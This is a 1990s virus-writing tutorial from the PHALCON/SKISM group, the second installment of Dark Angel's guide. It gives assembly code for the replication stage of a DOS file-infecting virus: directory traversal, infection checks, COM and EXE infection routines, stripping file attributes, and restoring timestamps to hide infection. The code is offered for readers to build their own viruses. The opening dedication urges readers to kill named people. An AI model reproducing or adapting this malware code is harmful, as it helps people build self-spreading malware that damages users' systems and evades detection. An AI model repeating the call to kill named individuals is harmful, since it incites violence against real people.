                 //==//  //  //  /||      //      //====  //==//  //|   //
                //  //  //  //  //||     //      //      //  //  //||  //
               //==//  //==//  //=||    //      //      //  //  // || //
              //      //  //  //  ||   //      //      //  //  //  ||//
             //      //  //  //   ||  //====  //====  //==//  //   ||/

                /====   // //     //  /====   /|   /|
               //      // //     //  //      //|  //|
               ===\   // //     //   ===\   //|| //||
                 //  //  \\    //      //  // ||// ||
             ====/  //    \\  //   ====/  //  ||/  ||

             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
             DISCLAIMER: Pretend you see a disclaimer here.
               99.44% of the code guaranteed to work.
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
             DEDICATION: Please try your best to kill those
               who made this possible, especially that dumb
               bitch who doesn't know her own name (Patty),
               and her lover Ross M. Greenberg.
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
             GREETS -N- STUFF: Greets go to all the members
               of PHALCON/SKISM.  I wish to give buckets o'
               thanks to Hellraiser, Garbageheap, and Demo-
               gorgon.  No thanks this time to Orion Rouge,
               the godly master of idiocy.
             -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

      Dark Angel's Phunky Virus Writing Guide
      ---- ------- ------ ----- ------- -----
      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      INSTALLMENT II:  THE REPLICATOR
      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      In the  last installment of my Virus Writing Guide, I explained the various
      parts of  a virus  and went  into a  brief discussion  about each.  In this
      issue, I  shall devote  all my  attention towards the replicator portion of
      the virus.  I promised code and code I shall present.

      However, I  shall digress  for a moment because it has come to my attention
      that some  mutant  copies  of  the  first  installment  were  inadvertently
      released.   These copies  did not  contain a  vital section  concerning the
      calculation of offsets.

      You never  know where  your variables  and code  are going  to wind  up  in
      memory.   If you think a bit, this should be pretty obvious.  Since you are
      attaching the  virus to  the end  of a  program, the  location in memory is
      going to  be changed,  i.e. it  will be  larger by the size of the infected
      program.   So, to  compensate, we  must take  the change in offset from the
      original virus,  or the  delta offset,  and add  that to  all references to
      variables.

      Instructions that  use displacement,  i.e. relative  offsets, need  not  be
      changed.   These instructions are the JA, JB, JZ class of instructions, JMP
      SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of,
      say, JMP FAR PTR.

      Suppose in  the following  examples, si  is somehow  loaded with  the delta
      offset.

      Replace
        mov ax, counter
      With
        mov ax, word ptr [si+offset counter]

      Replace
        mov dx, offset message
      With
        lea dx, [si+offset message]

      You may  be asking, "how the farg am I supposed to find the delta offset!?"
      It is simple enough:

        call setup
      setup:
        pop  si
        sub  si, offset setup

      An explanation  of the  above fragment  is in order.  CALL setup pushes the
      location of the next instruction, i.e. offset setup, onto the stack.  Next,
      this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup
      (calculated at  compile-time) is  subtracted from  si, giving you the delta
      offset.   In the  original virus,  the delta offset will be 0, i.e. the new
      location of setup equals the old location of setup.

      It is  often preferable to use bp as your delta offset, since si is used in
      string instructions.  Use whichever you like.  I'll randomly switch between
      the two as suits my mood.

      Now back to the other stuff...

      A biological  virus is a parasitic "organism" which uses its host to spread
      itself.   It must keep the host alive to keep itself "alive."  Only when it
      has spread  everywhere will  the host  die a  painful, horrible death.  The
      modern electronic  virus is  no different.   It  attaches itself  to a host
      system and  reproduces until the entire system is fucked.  It then proceeds
      and neatly wrecks the system of the dimwit who caught the virus.

      Replication is  what distinguishes  a virus  from a simple trojan.  Anybody
      can write  a trojan,  but a  virus is  much more  elegant.   It acts almost
      invisibly, and  catches the victim off-guard when it finally surfaces.  The
      first question  is, of  course, how  does a virus spread?  Both COM and EXE
      infections (along with sample infection routines) shall be presented.

      There are  two major  approaches to  virii: runtime and TSR.  Runtime virii
      infect, yup,  you guessed  it, when  the infected program is run, while TSR
      virii go  resident  when  the  infected  programs  are  run  and  hook  the
      interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon
      termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and
      disadvantages to  each.   Runtime virii  are harder to detect as they don't
      show up on memory maps, but, on the other hand, the delay while it searches
      for and  infects a file may give it away.  TSR virii, if not properly done,
      can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in
      general, smaller  since they  don't need  a function to search for files to
      infect.   They are  also faster than runtime virii, also because they don't
      have to  search for files to infect.  I shall cover runtime virii here, and
      TSR virii in a later installment.

      Here is a summary of the infection procedure:
           1) Find a file to infect.
           2) Check if it meets the infection criteria.
           3) See if it is already infected and if so, go back to 1.
           4) Otherwise, infect the file.
           5) Cover your tracks.

      I shall  go through  each of  these steps and present sample code for each.
      Note that  although a  complete virus  can be  built from  the  information
      below, you  cannot merely  rip the  code out  and stick it together, as the
      fragments are  from various  different virii that I have written.  You must
      be somewhat  familiar with assembly.  I present code fragments; it is up to
      you to either use them as examples or modify them for your own virii.

      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      STEP 1 - FIND A FILE TO INFECT
      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      Before you  can infect  a file,  you have  to find it first!  This can be a
      bottleneck in  the performance  of the  virus, so  it  should  be  done  as
      efficiently as possible.  For runtime virii, there are a few possibilities.
      You could  infect files in only the current directory, or you could write a
      directory traversal function to infect files in ALL directories (only a few
      files per  run, of  course), or you could infect files in only a few select
      directories.   Why would  you choose  to only  infect files  in the current
      directory?   It would  appear to  limit the  efficacy  of  the  infections.
      However, this  is done  in some  virii either  to speed  up the virus or to
      shorten the code size.

      Here is a directory traversal function.  It uses recursion, so it is rather
      slow, but it does the job.  This was excerpted with some modifications from
      The Funky Bob Ross Virus [Beta].

      traverse_fcn proc    near
              push    bp                      ; Create stack frame
              mov     bp,sp
              sub     sp,44                   ; Allocate space for DTA

              call    infect_directory        ; Go to search & destroy routines

              mov     ah,1Ah                  ;Set DTA
              lea     dx,word ptr [bp-44]     ; to space allotted
              int     21h                     ;Do it now!

              mov     ah, 4Eh                 ;Find first
              mov     cx,16                   ;Directory mask
              lea     dx,[si+offset dir_mask] ; *.*
              int     21h
              jmp     short isdirok
      gonow:
              cmp     byte ptr [bp-14], '.'   ; Is first char == '.'?
              je      short donext            ; If so, loop again
              lea     dx,word ptr [bp-14]     ; else load dirname
              mov     ah,3Bh                  ; and changedir there
              int     21h
              jc      short donext              ; Do next if invalid
              inc     word ptr [si+offset nest] ; nest++
              call    near ptr traverse_fcn     ; recurse directory
      donext:
              lea     dx,word ptr [bp-44]     ; Load space allocated for DTA
              mov     ah,1Ah                  ; and set DTA to this new area
              int     21h                     ; 'cause it might have changed

              mov     ah,4Fh                  ;Find next
              int     21h
      isdirok:
              jnc     gonow                   ; If OK, jmp elsewhere
              cmp     word ptr [si+offset nest], 0 ; If root directory
                                                   ;  (nest == 0)
              jle     short cleanup                ; then Quit
              dec     word ptr [si+offset nest]    ; Else decrement nest
              lea     dx, [si+offset back_dir]; '..'
              mov     ah,3Bh                  ; Change directory
              int     21h                     ; to previous one
      cleanup:
              mov     sp,bp
              pop     bp
              ret
      traverse_fcn endp

      ; Variables
      nest     dw     0
      back_dir db     '..',0
      dir_mask db     '*.*',0

      The code  is self-explanatory.   Make  sure  you  have  a  function  called
      infect_directory which scans the directory for possible files to infect and
      makes sure  it doesn't  infect already-infected  files.   This function, in
      turn, calls infect_file which infects the file.

      Note, as  I said  before, this  is slow.   A  quicker method, albeit not as
      global, is  the "dot  dot" method.   Hellraiser  showed me this neat little
      trick.   Basically, you  keep searching  each directory and, if you haven't
      infected enough,  go to the previous directory (dot dot) and try again, and
      so on.  The code is simple.

      dir_loopy:
              call    infect_directory
              lea     dx, [bp+dotdot]
              mov     ah, 3bh                 ; CHDIR
              int     21h
              jnc     dir_loopy               ; Carry set if in root

      ; Variables
      dotdot  db      '..',0

      Now you  must find a file to infect.  This is done (in the fragments above)
      by a  function called infect_directory.  This function  calls FINDFIRST and
      FINDNEXT a  couple of  times to find files to infect.  You should first set
      up a  new DTA.  NEVER use the DTA in the PSP (at 80h) because altering that
      will affect  the command-line  parameters  of  the  infected  program  when
      control is returned to it.  This is easily done with the following:

              mov     ah, 1Ah                 ; Set DTA
              lea     dx, [bp+offset DTA]     ; to variable called DTA (wow!)
              int     21h

      Where DTA  is a 42-byte chunk of memory.  Next, issue a series of FINDFIRST
      and FINDNEXT calls:

              mov     ah, 4Eh                 ; Find first file
              mov     cx, 0007h               ; Any file attribute
              lea    dx, [bp+offset file_mask]; DS:[DX] --> filemask
              int     21h
              jc      none_found
      found_another:
              call    check_infection
              mov     ah, 4Fh                 ; Find next file
              int     21h
              jnc     found_another
      none_found:

      Where file_mask  is DBed  to either '*.EXE',0 or '*.COM',0.  Alternatively,
      you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.

      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      STEP 2 - CHECK VERSUS INFECTION CRITERIA
      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      Your virus  should be  judicious in  its infection.  For example, you might
      not want  to  infect  COMMAND.COM,  since  some  programs  (i.e.  the  puny
      FluShot+) check its CRC or checksum on runtime.  Perhaps you do not wish to
      infect the  first valid file in the directory.  Ambulance Car is an example
      of such  a virus.   Regardless,  if there  is some  infection criteria, you
      should check  for it  now.   Here's example  code checking  if the last two
      letters are 'ND', a simple check for COMMAND.COM:

              cmp     word ptr [bp+offset DTA+35], 'DN'  ; Reverse word order
              jz      fail_check

      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      STEP 3 - CHECK FOR PREVIOUS INFECTION
      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Every virus has certain characteristics with which you can identify whether
      a file  is infected  already.   For example,  a certain  piece of  code may
      always occur  in a  predictable place.   Or  perhaps the JMP instruction is
      always coded  in the  same manner.   Regardless,  you should make sure your
      virus has  a marker  so that  multiple infections  of the  same file do not
      occur.  Here's an example of one such check (for a COM file infector):

              mov     ah,3Fh                          ; Read first three
              mov     cx, 3                           ; bytes of the file
              lea     dx, [bp+offset buffer]          ; to the buffer
              int     21h

              mov     ax, 4202h                       ; SEEK from EOF
              xor     cx, cx                          ; DX:CX = offset
              xor     dx, dx                          ; Returns filesize
              int     21h                             ; in DX:AX

              sub     ax, virus_size + 3
              cmp     word ptr [bp+offset buffer+1], ax
              jnz     infect_it

      bomb_out:
              mov     ah, 3Eh                         ; else close the file
              int     21h                             ;  and go find another

      In this  example, BX  is assumed to hold a file handle to the program to be
      checked for  infection and virus_size equals the size of the virus.  Buffer
      is assumed  to be  a three-byte  area of  empty space.   This code fragment
      reads the  first three bytes into buffer and then compares the JMP location
      (located in  the word  beginning at  buffer+1) to  the filesize  If the JMP
      points to  virus_size bytes  before the  EOF,  then  the  file  is  already
      infected with  this virus.   Another method would be to search at a certain
      location in the file for a marker byte or word.  For example:

              mov     ah, 3Fh                         ; Read the first four
              mov     cx, 4                           ; bytes of the file into
              lea     dx, [bp+offset buffer]          ; the buffer.
              int     21h

              cmp     byte ptr [buffer+3], infection_id_byte ; Check the fourth
              jz      bomb_out                        ; byte for the marker
      infect_it:

      -=-=-=-=-=-=-=-=-=-=-=-=
      STEP 4 - INFECT THE FILE
      -=-=-=-=-=-=-=-=-=-=-=-=
      This is  the "guts"  of the  virus, the  heart of the replicator.  Once you
      have located  a potential  file, you  must save the attributes, time, date,
      and size for later use.  The following is a breakdown of the DTA:

        Offset     Size      What it is
          0h       21 BYTES  Reserved, varies as per DOS version
         15h       BYTE      File attribute
         16h       WORD      File time
         18h       WORD      File date
         1Ah       DWORD     File size
         1Eh       13 BYTES  ASCIIZ filename + extension

      As you can see, the DTA holds all the vital information about the file that
      you need.  The following code fragment is a sample of how to save the info:

              lea  si, [bp+offset DTA+15h]            ; Start from attributes
              mov  cx, 9                              ; Finish with size
              lea  di, [bp+offset f_attr]             ; Move into your locations
              rep  movsb
      ; Variables needed
      f_attr  db   ?
      f_time  dw   ?
      f_date  dw   ?
      f_size  dd   ?

      You can  now change the file attributes to nothing through INT 21h/Function
      43h/Subfunction 01h.   This  is to  allow infection  of system, hidden, and
      read only  files.   Only primitive  (or minimal)  virii cannot  handle such
      files.

              lea  dx, [bp+offset DTA+1eh]            ; DX points to filename in
              mov  ax, 4301h                          ; DTA
              xor  cx, cx                             ; Clear file attributes
              int  21h                                ; Issue the call

      Once the  attributes have  been annihilated,  you may  open the  file  with
      callous impunity.  Use a handle open in read/write mode.

              lea  dx, [bp+offset DTA+1eh]            ; Use filename in DTA
              mov  ax, 3d02h                          ; Open read/write mode
              int  21h                                ; duh.
              xchg ax, bx                             ; Handle is more useful in
                                                      ; BX

      Now we come to the part you've all been waiting for: the infection routine.
      I am  pleased to present code which will handle the infection of COM files.
      Yawn, you  say, I can already do that with the information presented in the
      previous installment.   Ah,  but there  is more,  much more.   A sample EXE
      infector shall also be presented shortly.

      The theory  behind COM  file infection was covered in the last installment,
      so I shall not delve into the details again.  Here is a sample infector:

      ; Sample COM infector.  Assumes BX holds the file handle
      ; Assume COM file passes infection criteria and not already infected
              mov     ah, 3fh
              lea     dx, [bp+buffer1]
              mov     cx, 3
              int     21h

              mov     ax, 4200h                       ; Move file pointer to
              xor     cx, cx                          ; the beginning of the
              xor     dx, dx                          ; file
              int     21h

              mov     byte ptr [bp+buffer2], 0e9h      ; JMP
              mov     ax, word ptr [bp+f_size]
              sub     ax, part1_size                   ; Usually 3
              mov     word ptr [bp+buffer2+1], ax      ; offset of JMP

      ; Encode JMP instruction to replace beginning of the file
              mov     byte ptr [bp+buffer2], 0e9h      ; JMP
              mov     ax, word ptr [bp+f_size]
              sub     ax, part1_size                   ; Usually 3
              mov     word ptr [bp+buffer2+1], ax      ; offset of JMP

      ; Write the JMP instruction to the beginning of the file
              mov     ah, 40h                          ; Write CX bytes to
              mov     cx, 3                            ; handle in BX from
              lea     dx, [bp+buffer2]                 ; buffer -> DS:[DX]
              int     21h

              mov     ax, 4202h                        ; Move file pointer to
              xor     cx, cx                           ; end of file
              xor     dx, dx
              int     21h

              mov     ah, 40h                          ; Write CX bytes
              mov     cx, endofvirus - startofpart2    ; Effective size of virus
              lea     dx, [bp+startofpart2]            ; Begin write at start
              int     21h

      ; Variables
      buffer1 db 3 dup (?)                             ; Saved bytes from the
                                                       ; infected file to restore
                                                       ; later
      buffer2 db 3 dup (?)                             ; Temp buffer

      After some  examination, this code will prove to be easy to understand.  It
      starts by reading the first three bytes into a buffer.  Note that you could
      have done  this in  an earlier  step, such  as when  you are checking for a
      previous infection.   If  you have  already done  this, you obviously don't
      need to  do it again.  This buffer must be stored in the virus so it can be
      restored later when the code is executed.

      EXE infections  are also  simple, although  a  bit  harder  to  understand.
      First, the thoery.  Here is the format of the EXE header:

       Ofs Name                Size      Comments
       00  Signature           2 bytes   always 4Dh 5Ah (MZ)
      *02  Last Page Size      1 word    number of bytes in last page
      *04  File Pages          1 word    number of 512 byte pages
       06  Reloc Items         1 word    number of entries in table
       08  Header Paras        1 word    size of header in 16 byte paras
       0A  MinAlloc            1 word    minimum memory required in paras
       0C  MaxAlloc            1 word    maximum memory wanted in paras
      *0E  PreReloc SS         1 word    offset in paras to stack segment
      *10  Initial SP          1 word    starting SP value
       12  Negative checksum   1 word    currently ignored
      *14  Pre Reloc IP        1 word    execution start address
      *16  Pre Reloc CS        1 word    preadjusted start segment
       18  Reloc table offset  1 word    is offset from start of file)
       1A  Overlay number      1 word    ignored if not overlay
       1C  Reserved/unused     2 words
      * denotes bytes which should be changed by the virus

      To understand  this, you  must first  realise that EXE files are structured
      into segments.  These segments may begin and end anywhere.  All you have to
      do to  infect an EXE file is tack on your code to the end.  It will then be
      in its  own segment.  Now all you have to do is make the virus code execute
      before the  program code.   Unlike  COM  infections,  no  program  code  is
      overwritten, although  the header  is modified.   Note  the virus can still
      have the  V1/V2 structure,  but only V2 needs to be concatenated to the end
      of the infected EXE file.

      Offset 4  (File Pages)  holds the  size of the file divided by 512, rounded
      up.   Offset 2 holds the size of the file modulo 512.  Offset 0Eh holds the
      paragraph displacement  (relative to  the end of the header) of the initial
      stack segment  and Offset 10h holds the displacement (relative to the start
      of the  stack segment)  of the initial stack pointer.  Offset 16h holds the
      paragraph displacement of the entry point relative to the end of the header
      and offset  14h holds the displacement entry point relative to the start of
      the entry  segment.   Offset 14h  and 16h are the key to adding the startup
      code (the virus) to the file.

      Before you  infect the  file, you  should save the CS:IP and SS:SP found in
      the EXE  header, as  you need  to restore  them upon  execution.  Note that
      SS:SP is NOT stored in Intel reverse-double-word format.  If you don't know
      what I'm  talking about, don't worry; it's only for very picky people.  You
      should also save the file length as you will need to use that value several
      times during  the infection  routine.   Now it's  time  to  calculate  some
      offsets!   To find  the new  CS:IP and  SS:SP, use  the following code.  It
      assumes the file size is loaded in DX:AX.

              mov     bx, word ptr [bp+ExeHead+8]    ; Header size in paragraphs
                   ;  ^---make sure you don't destroy the file handle
              mov     cl, 4                          ; Multiply by 16.  Won't
              shl     bx, cl                         ; work with headers > 4096
                                                     ; bytes.  Oh well!
              sub     ax, bx                         ; Subtract header size from
              sbb     dx, 0                          ; file size
        ; Now DX:AX is loaded with file size minus header size
              mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX
              div     cx

      This code  is rather inefficient.  It would probably be easier to divide by
      16 first  and then perform a straight subtraction from AX, but this happens
      to be  the code  I chose.   Such is life. However, this code does have some
      advantages over  the more  efficient one.   With this, you are certain that
      the IP  (in DX)  will be under 15.  This allows the stack to be in the same
      segment as the entry point, as long as the stack pointer is a large number.

      Now AX*16+DX  points to  the end  of code.  If the virus begins immediately
      after the  end of the code, AX and DX can be used as the initial CS and IP,
      respectively.   However, if  the virus  has some junk (code or data) before
      the entry  point, add the entry point displacement to DX (no ADC with AX is
      necessary since DX will always be small).

              mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
              mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in module

      The SP  and SS  can now  be calculated.   The  SS is  equal to the CS.  The
      actual value  of the SP is irrelevant, as long as it is large enough so the
      stack will  not overwrite code (remember: the stack grows downwards).  As a
      general rule,  make sure the SP is at least 100 bytes larger than the virus
      size.  This should be sufficient to avoid problems.

              mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS
              mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP

      All that  is left  to fiddle  in the  header is the file size.  Restore the
      original file  size from  wherever you  saved it  to DX:AX.   To  calculate
      DX:AX/512 and DX:AX MOD 512, use the following code:

              mov     cl, 9                           ; Use shifts again for
              ror     dx, cl                          ; division
              push    ax                              ; Need to use AX again
              shr     ax, cl
              adc     dx, ax                          ; pages in dx
              pop     ax
              and     ah, 1                           ; mod 512 in ax

              mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in
              mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.

      All that is left is writing back the EXE header and concatenating the virus
      to the end of the file.  You want code?  You get code.

              mov     ah, 3fh                         ; BX holds handle
              mov     cx, 18h                         ; Don't need entire header
              lea     dx, [bp+ExeHead]
              int     21h

              call    infectexe

              mov     ax, 4200h                       ; Rewind to beginning of
              xor     cx, cx                          ; file
              xor     dx, dx
              int     21h

              mov     ah, 40h                         ; Write header back
              mov     cx, 18h
              lea     dx, [bp+ExeHead]
              int     21h

              mov     ax, 4202h                       ; Go to end of file
              xor     cx, cx
              xor     dx, dx
              int     21h

              mov     ah, 40h                         ; Note: Only need to write
              mov     cx, part2size                   ;       part 2 of the virus
              lea     dx, [bp+offset part2start]      ;      (Parts of virus
              int     21h                             ;       defined in first
                                                      ;       installment of
                                                      ;       the guide)

      Note that this code alone is not sufficient to write a COM or EXE infector.
      Code is also needed to transfer control back to the parent program.  The
      information needed to do this shall be presented in the next installment.
      In the meantime, you can try to figure it out on your own; just remember
      that you must restore all that you changed.

      -=-=-=-=-=-=-=-=-=-=-=-=-=
      STEP 5 - COVER YOUR TRACKS
      -=-=-=-=-=-=-=-=-=-=-=-=-=
      This step,  though simple  to do, is too easily neglected.  It is extremely
      important, as a wary user will be alerted to the presence of a virus by any
      unnecessary updates  to a  file.   In its  simplest form,  it involves  the
      restoration of   file  attributes, time  and date.   This  is done with the
      following:

              mov     ax, 5701h                      ; Set file time/date
              mov     dx, word ptr [bp+f_date]       ; DX = date
              mov     cx, word ptr [bp+f_time]       ; CX = time
              int     21h

              mov     ah, 3eh                        ; Handle close file
              int     21h

              mov     ax, 4301h                      ; Set attributes
              lea     dx, [bp+offset DTA + 1Eh]      ; Filename still in DTA
              xor     ch, ch
              mov     cl, byte ptr [bp+f_attrib]     ; Attribute in CX
              int     21h

      Remember also to restore the directory back to the original one if it
      changed during the run of the virus.

      -=-=-=-=-=-=-=
      WHAT'S TO COME
      -=-=-=-=-=-=-=
      I have been pleased with the tremendous response to the last installment of
      the guide.   Next  time, I  shall cover  the rest  of the  virus as well as
      various tips  and common tricks helpful in writing virii.  Until then, make
      sure you  look for  40Hex, the  official PHALCON/SKISM  magazine, where  we
      share tips and information pertinent to the virus community.